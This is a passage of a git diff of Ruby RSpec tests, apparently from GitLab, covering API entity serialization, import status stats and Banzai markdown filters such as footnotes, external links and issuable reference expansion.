index 00000000000..2cf585d4e0e
--- /dev/null
+++ b/spec/lib/api/entities/changelog_spec.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::Changelog do
+ let(:changelog) { "This is a changelog" }
+
+ subject { described_class.new(changelog).as_json }
+
+ it 'exposes correct attributes' do
+ expect(subject).to include(:notes)
+ end
+
+ it 'exposes correct notes' do
+ expect(subject[:notes]).to eq(changelog)
+ end
+end
diff --git a/spec/lib/api/entities/ci/pipeline_spec.rb b/spec/lib/api/entities/ci/pipeline_spec.rb
new file mode 100644
index 00000000000..6a658cc3e18
--- /dev/null
+++ b/spec/lib/api/entities/ci/pipeline_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::Ci::Pipeline do
+ let_it_be(:pipeline) { create(:ci_empty_pipeline) }
+ let_it_be(:job) { create(:ci_build, name: "rspec", coverage: 30.212, pipeline: pipeline) }
+
+ let(:entity) { described_class.new(pipeline) }
+
+ subject { entity.as_json }
+
+ it 'returns the coverage as a string' do
+ expect(subject[:coverage]).to eq '30.21'
+ end
+end
diff --git a/spec/lib/api/entities/personal_access_token_spec.rb b/spec/lib/api/entities/personal_access_token_spec.rb
new file mode 100644
index 00000000000..fd3c53a21b4
--- /dev/null
+++ b/spec/lib/api/entities/personal_access_token_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::PersonalAccessToken do
+ describe '#as_json' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:token) { create(:personal_access_token, user: user, expires_at: nil) }
+
+ let(:entity) { described_class.new(token) }
+
+ it 'returns token data' do
+ expect(entity.as_json).to eq({
+ id: token.id,
+ name: token.name,
+ revoked: false,
+ created_at: token.created_at,
+ scopes: ['api'],
+ user_id: user.id,
+ last_used_at: nil,
+ active: true,
+ expires_at: nil
+ })
+ end
+ end
+end
diff --git a/spec/lib/api/entities/plan_limit_spec.rb b/spec/lib/api/entities/plan_limit_spec.rb
index 75e39e4f074..1b8b21d47f3 100644
--- a/spec/lib/api/entities/plan_limit_spec.rb
+++ b/spec/lib/api/entities/plan_limit_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe API::Entities::PlanLimit do
expect(subject).to include(
:conan_max_file_size,
:generic_packages_max_file_size,
+ :helm_max_file_size,
:maven_max_file_size,
:npm_max_file_size,
:nuget_max_file_size,
diff --git a/spec/lib/api/entities/project_import_failed_relation_spec.rb b/spec/lib/api/entities/project_import_failed_relation_spec.rb
index d3c24f6fce3..d6143915ecb 100644
--- a/spec/lib/api/entities/project_import_failed_relation_spec.rb
+++ b/spec/lib/api/entities/project_import_failed_relation_spec.rb
@@ -16,7 +16,8 @@ RSpec.describe API::Entities::ProjectImportFailedRelation do
exception_class: import_failure.exception_class,
exception_message: nil,
relation_name: import_failure.relation_key,
- source: import_failure.source
+ source: import_failure.source,
+ line_number: import_failure.relation_index
)
end
end
diff --git a/spec/lib/api/entities/project_import_status_spec.rb b/spec/lib/api/entities/project_import_status_spec.rb
index 5eda613a6a6..37a18718950 100644
--- a/spec/lib/api/entities/project_import_status_spec.rb
+++ b/spec/lib/api/entities/project_import_status_spec.rb
@@ -2,29 +2,32 @@
require 'spec_helper'
-RSpec.describe API::Entities::ProjectImportStatus do
+RSpec.describe API::Entities::ProjectImportStatus, :aggregate_failures do
describe '#as_json' do
subject { entity.as_json }
let(:correlation_id) { 'cid' }
context 'when no import state exists' do
- let(:entity) { described_class.new(build(:project)) }
+ let(:entity) { described_class.new(build(:project, import_type: 'import_type')) }
it 'includes basic fields and no failures' do
expect(subject[:import_status]).to eq('none')
+ expect(subject[:import_type]).to eq('import_type')
expect(subject[:correlation_id]).to be_nil
expect(subject[:import_error]).to be_nil
expect(subject[:failed_relations]).to eq([])
+ expect(subject[:stats]).to be_nil
end
end
context 'when import has not finished yet' do
- let(:project) { create(:project, :import_scheduled, import_correlation_id: correlation_id) }
- let(:entity) { described_class.new(project) }
+ let(:project) { create(:project, :import_scheduled, import_type: 'import_type', import_correlation_id: correlation_id) }
+ let(:entity) { described_class.new(project, import_type: 'import_type') }
- it 'includes basic fields and no failures', :aggregate_failures do
+ it 'includes basic fields and no failures' do
expect(subject[:import_status]).to eq('scheduled')
+ expect(subject[:import_type]).to eq('import_type')
expect(subject[:correlation_id]).to eq(correlation_id)
expect(subject[:import_error]).to be_nil
expect(subject[:failed_relations]).to eq([])
@@ -32,29 +35,64 @@ RSpec.describe API::Entities::ProjectImportStatus do
end
context 'when import has finished with failed relations' do
- let(:project) { create(:project, :import_finished, import_correlation_id: correlation_id) }
+ let(:project) { create(:project, :import_finished, import_type: 'import_type', import_correlation_id: correlation_id) }
let(:entity) { described_class.new(project) }
- it 'includes basic fields with failed relations', :aggregate_failures do
- create(:import_failure, :hard_failure, project: project, correlation_id_value: correlation_id)
+ it 'includes basic fields with failed relations' do
+ create(
+ :import_failure,
+ :hard_failure,
+ project: project,
+ correlation_id_value: correlation_id,
+ relation_key: 'issues',
+ relation_index: 1
+ )
+
+ # Doesn't show soft failures
+ create(:import_failure, :soft_failure)
expect(subject[:import_status]).to eq('finished')
+ expect(subject[:import_type]).to eq('import_type')
expect(subject[:correlation_id]).to eq(correlation_id)
expect(subject[:import_error]).to be_nil
- expect(subject[:failed_relations]).not_to be_empty
+ expect(subject[:failed_relations].length).to eq(1)
+
+ failure = subject[:failed_relations].last
+ expect(failure[:exception_class]).to eq('RuntimeError')
+ expect(failure[:source]).to eq('method_call')
+ expect(failure[:relation_name]).to eq('issues')
+ expect(failure[:line_number]).to eq(1)
end
end
context 'when import has failed' do
- let(:project) { create(:project, :import_failed, import_correlation_id: correlation_id, import_last_error: 'error') }
+ let(:project) { create(:project, :import_failed, import_type: 'import_type', import_correlation_id: correlation_id, import_last_error: 'error') }
let(:entity) { described_class.new(project) }
- it 'includes basic fields with import error', :aggregate_failures do
+ it 'includes basic fields with import error' do
expect(subject[:import_status]).to eq('failed')
+ expect(subject[:import_type]).to eq('import_type')
expect(subject[:correlation_id]).to eq(correlation_id)
expect(subject[:import_error]).to eq('error')
expect(subject[:failed_relations]).to eq([])
end
end
+
+ context 'when importing from github', :clean_gitlab_redis_cache do
+ let(:project) { create(:project, :import_failed, import_type: 'github') }
+ let(:entity) { described_class.new(project) }
+
+ before do
+ ::Gitlab::GithubImport::ObjectCounter.increment(project, :issues, :fetched, value: 10)
+ ::Gitlab::GithubImport::ObjectCounter.increment(project, :issues, :imported, value: 8)
+ end
+
+ it 'exposes the import stats' do
+ expect(subject[:stats]).to eq(
+ 'fetched' => { 'issues' => 10 },
+ 'imported' => { 'issues' => 8 }
+ )
+ end
+ end
end
end
diff --git a/spec/lib/banzai/filter/external_link_filter_spec.rb b/spec/lib/banzai/filter/external_link_filter_spec.rb
index 630730dfc1a..24d13bdb42c 100644
--- a/spec/lib/banzai/filter/external_link_filter_spec.rb
+++ b/spec/lib/banzai/filter/external_link_filter_spec.rb
@@ -191,4 +191,15 @@ RSpec.describe Banzai::Filter::ExternalLinkFilter do
end
end
end
+
+ context 'for links that have `rel=license`' do
+ let(:doc) { filter %q(<a rel="license" href="http://example.com">rel-license</a>) }
+
+ it_behaves_like 'an external link with rel attribute'
+
+ it 'maintains rel license' do
+ expect(doc.at_css('a')).to have_attribute('rel')
+ expect(doc.at_css('a')['rel']).to include 'license'
+ end
+ end
end
diff --git a/spec/lib/banzai/filter/footnote_filter_spec.rb b/spec/lib/banzai/filter/footnote_filter_spec.rb
index 54faa748d53..d41f5e8633d 100644
--- a/spec/lib/banzai/filter/footnote_filter_spec.rb
+++ b/spec/lib/banzai/filter/footnote_filter_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Banzai::Filter::FootnoteFilter do
include FilterSpecHelper
+ using RSpec::Parameterized::TableSyntax
# rubocop:disable Style/AsciiComments
# first[^1] and second[^second] and third[^_😄_]
@@ -13,16 +14,16 @@ RSpec.describe Banzai::Filter::FootnoteFilter do
# rubocop:enable Style/AsciiComments
let(:footnote) do
<<~EOF.strip_heredoc
- <p>first<sup><a href="#fn-1" id="fnref-1">1</a></sup> and second<sup><a href="#fn-second" id="fnref-second">2</a></sup> and third<sup><a href="#fn-_%F0%9F%98%84_" id="fnref-_%F0%9F%98%84_">3</a></sup></p>
-
+ <p>first<sup><a href="#fn-1" id="fnref-1" data-footnote-ref>1</a></sup> and second<sup><a href="#fn-second" id="fnref-second" data-footnote-ref>2</a></sup> and third<sup><a href="#fn-_%F0%9F%98%84_" id="fnref-_%F0%9F%98%84_" data-footnote-ref>3</a></sup></p>
+ <section data-footnotes>
<ol>
<li id="fn-1">
- <p>one <a href="#fnref-1" aria-label="Back to content">↩</a></p>
+ <p>one <a href="#fnref-1" aria-label="Back to content" data-footnote-backref>↩</a></p>
</li>
<li id="fn-second">
- <p>two <a href="#fnref-second" aria-label="Back to content">↩</a></p>
+ <p>two <a href="#fnref-second" aria-label="Back to content" data-footnote-backref>↩</a></p>
</li>\n<li id="fn-_%F0%9F%98%84_">
- <p>three <a href="#fnref-_%F0%9F%98%84_" aria-label="Back to content">↩</a></p>
+ <p>three <a href="#fnref-_%F0%9F%98%84_" aria-label="Back to content" data-footnote-backref>↩</a></p>
</li>
</ol>
EOF
@@ -30,19 +31,20 @@ RSpec.describe Banzai::Filter::FootnoteFilter do
let(:filtered_footnote) do
<<~EOF.strip_heredoc
- <p>first<sup class="footnote-ref"><a href="#fn-1-#{identifier}" id="fnref-1-#{identifier}" data-footnote-ref="">1</a></sup> and second<sup class="footnote-ref"><a href="#fn-second-#{identifier}" id="fnref-second-#{identifier}" data-footnote-ref="">2</a></sup> and third<sup class="footnote-ref"><a href="#fn-_%F0%9F%98%84_-#{identifier}" id="fnref-_%F0%9F%98%84_-#{identifier}" data-footnote-ref="">3</a></sup></p>
-
- <section class=\"footnotes\" data-footnotes><ol>
+ <p>first<sup class="footnote-ref"><a href="#fn-1-#{identifier}" id="fnref-1-#{identifier}" data-footnote-ref>1</a></sup> and second<sup class="footnote-ref"><a href="#fn-second-#{identifier}" id="fnref-second-#{identifier}" data-footnote-ref>2</a></sup> and third<sup class="footnote-ref"><a href="#fn-_%F0%9F%98%84_-#{identifier}" id="fnref-_%F0%9F%98%84_-#{identifier}" data-footnote-ref>3</a></sup></p>
+ <section data-footnotes class=\"footnotes\">
+ <ol>
<li id="fn-1-#{identifier}">
- <p>one <a href="#fnref-1-#{identifier}" aria-label="Back to content" class="footnote-backref" data-footnote-backref="">↩</a></p>
+ <p>one <a href="#fnref-1-#{identifier}" aria-label="Back to content" data-footnote-backref class="footnote-backref">↩</a></p>
</li>
<li id="fn-second-#{identifier}">
- <p>two <a href="#fnref-second-#{identifier}" aria-label="Back to content" class="footnote-backref" data-footnote-backref="">↩</a></p>
+ <p>two <a href="#fnref-second-#{identifier}" aria-label="Back to content" data-footnote-backref class="footnote-backref">↩</a></p>
</li>
<li id="fn-_%F0%9F%98%84_-#{identifier}">
- <p>three <a href="#fnref-_%F0%9F%98%84_-#{identifier}" aria-label="Back to content" class="footnote-backref" data-footnote-backref="">↩</a></p>
+ <p>three <a href="#fnref-_%F0%9F%98%84_-#{identifier}" aria-label="Back to content" data-footnote-backref class="footnote-backref">↩</a></p>
</li>
- </ol></section>
+ </ol>
+ </section>
EOF
end
@@ -52,7 +54,7 @@ RSpec.describe Banzai::Filter::FootnoteFilter do
let(:identifier) { link_node[:id].delete_prefix('fnref-1-') }
it 'properly adds the necessary ids and classes' do
- expect(doc.to_html).to eq filtered_footnote
+ expect(doc.to_html).to eq filtered_footnote.strip
end
context 'using ruby-based HTML renderer' do
@@ -101,4 +103,21 @@ RSpec.describe Banzai::Filter::FootnoteFilter do
end
end
end
+
+ context 'when detecting footnotes' do
+ where(:valid, :markdown) do
+ true | "1. one[^1]\n[^1]: AbC"
+ true | "1. one[^abc]\n[^abc]: AbC"
+ false | '1. [one](#fnref-abc)'
+ false | "1. one[^1]\n[^abc]: AbC"
+ end
+
+ with_them do
+ it 'detects valid footnotes' do
+ result = Banzai::Pipeline::FullPipeline.call(markdown, project: nil)
+
+ expect(result[:output].at_css('section.footnotes').present?).to eq(valid)
+ end
+ end
+ end
end
diff --git a/spec/lib/banzai/filter/issuable_reference_expansion_filter_spec.rb b/spec/lib/banzai/filter/issuable_reference_expansion_filter_spec.rb
new file mode 100644
index 00000000000..0840ccf19e4
--- /dev/null
+++ b/spec/lib/banzai/filter/issuable_reference_expansion_filter_spec.rb
@@ -0,0 +1,239 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::IssuableReferenceExpansionFilter do
+ include FilterSpecHelper
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:other_project) { create(:project, :public) }
+ let_it_be(:closed_issue) { create_issue(:closed) }
+
+ let(:context) { { current_user: user, issuable_reference_expansion_enabled: true } }
+
+ def create_link(text, data)
+ ActionController::Base.helpers.link_to(text, '', class: 'gfm has-tooltip', data: data)
+ end
+
+ def create_issue(state, attributes = {})
+ create(:issue, state, attributes.merge(project: project))
+ end
+
+ def create_merge_request(state, attributes = {})
+ create(:merge_request, state, attributes.merge(source_project: project, target_project: project))
+ end
+
+ it 'ignores non-GFM links' do
+ html = %(See <a href="https://google.com/">Google</a>)
+ doc = filter(html, current_user: user)
+
+ expect(doc.css('a').last.text).to eq('Google')
+ end
+
+ it 'ignores non-issuable links' do
+ link = create_link('text', project: project, reference_type: 'issue')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq('text')
+ end
+
+ it 'ignores issuable links with empty content' do
+ link = create_link('', issue: closed_issue.id, reference_type: 'issue')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq('')
+ end
+
+ it 'ignores issuable links with custom anchor' do
+ link = create_link('something', issue: closed_issue.id, reference_type: 'issue')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq('something')
+ end
+
+ it 'ignores issuable links to specific comments' do
+ link = create_link("#{closed_issue.to_reference} (comment 1)", issue: closed_issue.id, reference_type: 'issue')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference} (comment 1)")
+ end
+
+ it 'ignores merge request links to diffs tab' do
+ merge_request = create(:merge_request, :closed)
+ link = create_link(
+ "#{merge_request.to_reference} (diffs)",
+ merge_request: merge_request.id,
+ reference_type: 'merge_request'
+ )
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{merge_request.to_reference} (diffs)")
+ end
+
+ it 'handles cross project references' do
+ link = create_link(closed_issue.to_reference(other_project), issue: closed_issue.id, reference_type: 'issue')
+ doc = filter(link, context.merge(project: other_project))
+
+ expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference(other_project)} (closed)")
+ end
+
+ it 'handles references from group scopes' do
+ link = create_link(closed_issue.to_reference(other_project), issue: closed_issue.id, reference_type: 'issue')
+ doc = filter(link, context.merge(project: nil, group: group))
+
+ expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference(other_project)} (closed)")
+ end
+
+ it 'skips cross project references if the user cannot read cross project' do
+ expect(Ability).to receive(:allowed?).with(user, :read_cross_project) { false }
+ link = create_link(closed_issue.to_reference(other_project), issue: closed_issue.id, reference_type: 'issue')
+ doc = filter(link, context.merge(project: other_project))
+
+ expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference(other_project)}")
+ end
+
+ it 'does not append state when filter is not enabled' do
+ link = create_link('text', issue: closed_issue.id, reference_type: 'issue')
+ context = { current_user: user }
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq('text')
+ end
+
+ context 'when project is in pending delete' do
+ before do
+ project.update!(pending_delete: true)
+ end
+
+ it 'does not append issue state' do
+ link = create_link('text', issue: closed_issue.id, reference_type: 'issue')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq('text')
+ end
+ end
+
+ context 'for issue references' do
+ it 'ignores open issue references' do
+ issue = create_issue(:opened)
+ link = create_link(issue.to_reference, issue: issue.id, reference_type: 'issue')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq(issue.to_reference)
+ end
+
+ it 'appends state to closed issue references' do
+ link = create_link(closed_issue.to_reference, issue: closed_issue.id, reference_type: 'issue')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference} (closed)")
+ end
+
+ it 'appends state to moved issue references' do
+ moved_issue = create(:issue, :closed, project: project, moved_to: create_issue(:opened))
+ link = create_link(moved_issue.to_reference, issue: moved_issue.id, reference_type: 'issue')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{moved_issue.to_reference} (moved)")
+ end
+
+ it 'shows title for references with +' do
+ issue = create_issue(:opened, title: 'Some issue')
+ link = create_link(issue.to_reference, issue: issue.id, reference_type: 'issue', reference_format: '+')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{issue.title} (#{issue.to_reference})")
+ end
+
+ it 'truncates long title for references with +' do
+ issue = create_issue(:opened, title: 'Some issue ' * 10)
+ link = create_link(issue.to_reference, issue: issue.id, reference_type: 'issue', reference_format: '+')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{issue.title.truncate(50)} (#{issue.to_reference})")
+ end
+
+ it 'shows both title and state for closed references with +' do
+ issue = create_issue(:closed, title: 'Some issue')
+ link = create_link(issue.to_reference, issue: issue.id, reference_type: 'issue', reference_format: '+')
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{issue.title} (#{issue.to_reference} - closed)")
+ end
+ end
+
+ context 'for merge request references' do
+ it 'ignores open merge request references' do
+ merge_request = create_merge_request(:opened)
+
+ link = create_link(
+ merge_request.to_reference,
+ merge_request: merge_request.id,
+ reference_type: 'merge_request'
+ )
+
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq(merge_request.to_reference)
+ end
+
+ it 'ignores locked merge request references' do
+ merge_request = create_merge_request(:locked)
+
+ link = create_link(
+ merge_request.to_reference,
+ merge_request: merge_request.id,
+ reference_type: 'merge_request'
+ )
+
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq(merge_request.to_reference)
+ end
+
+ it 'appends state to closed merge request references' do
+ merge_request = create_merge_request(:closed)
+
+ link = create_link(
+ merge_request.to_reference,
+ merge_request: merge_request.id,
+ reference_type: 'merge_request'
+ )
+
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{merge_request.to_reference} (closed)")
+ end
+
+ it 'appends state to merged merge request references' do
+ merge_request = create_merge_request(:merged)
+
+ link = create_link(
+ merge_request.to_reference,
+ merge_request: merge_request.id,
+ reference_type: 'merge_request'
+ )
+
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{merge_request.to_reference} (merged)")
+ end
+
+ it 'shows title for references with +' do
+ merge_request = create_merge_request(:opened, title: 'Some merge request')
+
+ link = create_link(
+ merge_request.to_reference,
+ merge_request: merge_request.id,
+ reference_type: 'merge_request',
+ reference_format: '+'
+ )
+
+ doc = filter(link, context)
+
+ expect(doc.css('a').last.text).to eq("#{merge_request.title} (#{merge_request.to_reference})")
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/issuable_state_filter_spec.rb b/spec/lib/banzai/filter/issuable_state_filter_spec.rb
deleted file mode 100644
index a3851fd7cca..00000000000
--- a/spec/lib/banzai/filter/issuable_state_filter_spec.rb
+++ /dev/null
@@ -1,201 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::IssuableStateFilter do
- include ActionView::Helpers::UrlHelper
- include FilterSpecHelper
-
- let(:user) { create(:user) }
- let(:context) { { current_user: user, issuable_state_filter_enabled: true } }
- let(:closed_issue) { create_issue(:closed) }
- let(:project) { create(:project, :public) }
- let(:group) { create(:group) }
- let(:other_project) { create(:project, :public) }
-
- def create_link(text, data)
- link_to(text, '', class: 'gfm has-tooltip', data: data)
- end
-
- def create_issue(state)
- create(:issue, state, project: project)
- end
-
- def create_merge_request(state)
- create(:merge_request, state,
- source_project: project, target_project: project)
- end
-
- it 'ignores non-GFM links' do
- html = %(See <a href="https://google.com/">Google</a>)
- doc = filter(html, current_user: user)
-
- expect(doc.css('a').last.text).to eq('Google')
- end
-
- it 'ignores non-issuable links' do
- link = create_link('text', project: project, reference_type: 'issue')
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq('text')
- end
-
- it 'ignores issuable links with empty content' do
- link = create_link('', issue: closed_issue.id, reference_type: 'issue')
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq('')
- end
-
- it 'ignores issuable links with custom anchor' do
- link = create_link('something', issue: closed_issue.id, reference_type: 'issue')
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq('something')
- end
-
- it 'ignores issuable links to specific comments' do
- link = create_link("#{closed_issue.to_reference} (comment 1)", issue: closed_issue.id, reference_type: 'issue')
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference} (comment 1)")
- end
-
- it 'ignores merge request links to diffs tab' do
- merge_request = create(:merge_request, :closed)
- link = create_link(
- "#{merge_request.to_reference} (diffs)",
- merge_request: merge_request.id,
- reference_type: 'merge_request'
- )
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq("#{merge_request.to_reference} (diffs)")
- end
-
- it 'handles cross project references' do
- link = create_link(closed_issue.to_reference(other_project), issue: closed_issue.id, reference_type: 'issue')
- doc = filter(link, context.merge(project: other_project))
-
- expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference(other_project)} (closed)")
- end
-
- it 'handles references from group scopes' do
- link = create_link(closed_issue.to_reference(other_project), issue: closed_issue.id, reference_type: 'issue')
- doc = filter(link, context.merge(project: nil, group: group))
-
- expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference(other_project)} (closed)")
- end
-
- it 'skips cross project references if the user cannot read cross project' do
- expect(Ability).to receive(:allowed?).with(user, :read_cross_project) { false }
- link = create_link(closed_issue.to_reference(other_project), issue: closed_issue.id, reference_type: 'issue')
- doc = filter(link, context.merge(project: other_project))
-
- expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference(other_project)}")
- end
-
- it 'does not append state when filter is not enabled' do
- link = create_link('text', issue: closed_issue.id, reference_type: 'issue')
- context = { current_user: user }
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq('text')
- end
-
- context 'when project is in pending delete' do
- before do
- project.update!(pending_delete: true)
- end
-
- it 'does not append issue state' do
- link = create_link('text', issue: closed_issue.id, reference_type: 'issue')
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq('text')
- end
- end
-
- context 'for issue references' do
- it 'ignores open issue references' do
- issue = create_issue(:opened)
- link = create_link(issue.to_reference, issue: issue.id, reference_type: 'issue')
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq(issue.to_reference)
- end
-
- it 'appends state to closed issue references' do
- link = create_link(closed_issue.to_reference, issue: closed_issue.id, reference_type: 'issue')
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq("#{closed_issue.to_reference} (closed)")
- end
-
- it 'appends state to moved issue references' do
- moved_issue = create(:issue, :closed, project: project, moved_to: create_issue(:opened))
- link = create_link(moved_issue.to_reference, issue: moved_issue.id, reference_type: 'issue')
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq("#{moved_issue.to_reference} (moved)")
- end
- end
-
- context 'for merge request references' do
- it 'ignores open merge request references' do
- merge_request = create_merge_request(:opened)
-
- link = create_link(
- merge_request.to_reference,
- merge_request: merge_request.id,
- reference_type: 'merge_request'
- )
-
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq(merge_request.to_reference)
- end
-
- it 'ignores locked merge request references' do
- merge_request = create_merge_request(:locked)
-
- link = create_link(
- merge_request.to_reference,
- merge_request: merge_request.id,
- reference_type: 'merge_request'
- )
-
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq(merge_request.to_reference)
- end
-
- it 'appends state to closed merge request references' do
- merge_request = create_merge_request(:closed)
-
- link = create_link(
- merge_request.to_reference,
- merge_request: merge_request.id,
- reference_type: 'merge_request'
- )
-
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq("#{merge_request.to_reference} (closed)")
- end
-
- it 'appends state to merged merge request references' do
- merge_request = create_merge_request(:merged)
-
- link = create_link(
- merge_request.to_reference,
- merge_request: merge_request.id,
- reference_type: 'merge_request'
- )
-
- doc = filter(link, context)
-
- expect(doc.css('a').last.text).to eq("#{merge_request.to_reference} (merged)")
- end
- end
-end
diff --git a/spec/lib/banzai/filter/markdown_filter_spec.rb b/spec/lib/banzai/filter/markdown_filter_spec.rb
index a310de5c015..1c9b894e885 100644
--- a/spec/lib/banzai/filter/markdown_filter_spec.rb
+++ b/spec/lib/banzai/filter/markdown_filter_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe Banzai::Filter::MarkdownFilter do
it 'adds language to lang attribute when specified' do
result = filter("```html\nsome code\n```", no_sourcepos: true)
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
expect(result).to start_with('<pre lang="html"><code>')
else
expect(result).to start_with('<pre><code lang="html">')
@@ -49,7 +49,7 @@ RSpec.describe Banzai::Filter::MarkdownFilter do
it 'works with utf8 chars in language' do
result = filter("```æ—¥\nsome code\n```", no_sourcepos: true)
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
expect(result).to start_with('<pre lang="æ—¥"><code>')
else
expect(result).to start_with('<pre><code lang="æ—¥">')
@@ -59,7 +59,7 @@ RSpec.describe Banzai::Filter::MarkdownFilter do
it 'works with additional language parameters' do
result = filter("```ruby:red gem foo\nsome code\n```", no_sourcepos: true)
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
expect(result).to start_with('<pre lang="ruby:red" data-meta="gem foo"><code>')
else
expect(result).to start_with('<pre><code lang="ruby:red gem foo">')
@@ -102,7 +102,7 @@ RSpec.describe Banzai::Filter::MarkdownFilter do
expect(result).to include('<td>foot <sup')
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
expect(result).to include('<section class="footnotes" data-footnotes>')
else
expect(result).to include('<section class="footnotes">')
diff --git a/spec/lib/banzai/filter/plantuml_filter_spec.rb b/spec/lib/banzai/filter/plantuml_filter_spec.rb
index d1a3b5689a8..e1e02c09fbe 100644
--- a/spec/lib/banzai/filter/plantuml_filter_spec.rb
+++ b/spec/lib/banzai/filter/plantuml_filter_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Banzai::Filter::PlantumlFilter do
it 'replaces plantuml pre tag with img tag' do
stub_application_setting(plantuml_enabled: true, plantuml_url: "http://localhost:8080")
- input = if Feature.enabled?(:use_cmark_renderer)
+ input = if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
'<pre lang="plantuml"><code>Bob -> Sara : Hello</code></pre>'
else
'<pre><code lang="plantuml">Bob -> Sara : Hello</code></pre>'
@@ -24,7 +24,7 @@ RSpec.describe Banzai::Filter::PlantumlFilter do
it 'does not replace plantuml pre tag with img tag if disabled' do
stub_application_setting(plantuml_enabled: false)
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
input = '<pre lang="plantuml"><code>Bob -> Sara : Hello</code></pre>'
output = '<pre lang="plantuml"><code>Bob -&gt; Sara : Hello</code></pre>'
else
@@ -40,7 +40,7 @@ RSpec.describe Banzai::Filter::PlantumlFilter do
it 'does not replace plantuml pre tag with img tag if url is invalid' do
stub_application_setting(plantuml_enabled: true, plantuml_url: "invalid")
- input = if Feature.enabled?(:use_cmark_renderer)
+ input = if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
'<pre lang="plantuml"><code>Bob -> Sara : Hello</code></pre>'
else
'<pre><code lang="plantuml">Bob -> Sara : Hello</code></pre>'
diff --git a/spec/lib/banzai/filter/references/issue_reference_filter_spec.rb b/spec/lib/banzai/filter/references/issue_reference_filter_spec.rb
index 88c2494b243..14c1542b724 100644
--- a/spec/lib/banzai/filter/references/issue_reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/references/issue_reference_filter_spec.rb
@@ -116,6 +116,22 @@ RSpec.describe Banzai::Filter::References::IssueReferenceFilter do
expect(doc.children.first.attr('data-original')).to eq inner_html
end
+ it 'includes a data-reference-format attribute' do
+ doc = reference_filter("Issue #{reference}+")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-reference-format')
+ expect(link.attr('data-reference-format')).to eq('+')
+ end
+
+ it 'includes a data-reference-format attribute for URL references' do
+ doc = reference_filter("Issue #{issue_url}+")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-reference-format')
+ expect(link.attr('data-reference-format')).to eq('+')
+ end
+
it 'supports an :only_path context' do
doc = reference_filter("Issue #{reference}", only_path: true)
link = doc.css('a').first.attr('href')
diff --git a/spec/lib/banzai/filter/references/merge_request_reference_filter_spec.rb b/spec/lib/banzai/filter/references/merge_request_reference_filter_spec.rb
index ee2ce967a47..3c488820853 100644
--- a/spec/lib/banzai/filter/references/merge_request_reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/references/merge_request_reference_filter_spec.rb
@@ -109,6 +109,22 @@ RSpec.describe Banzai::Filter::References::MergeRequestReferenceFilter do
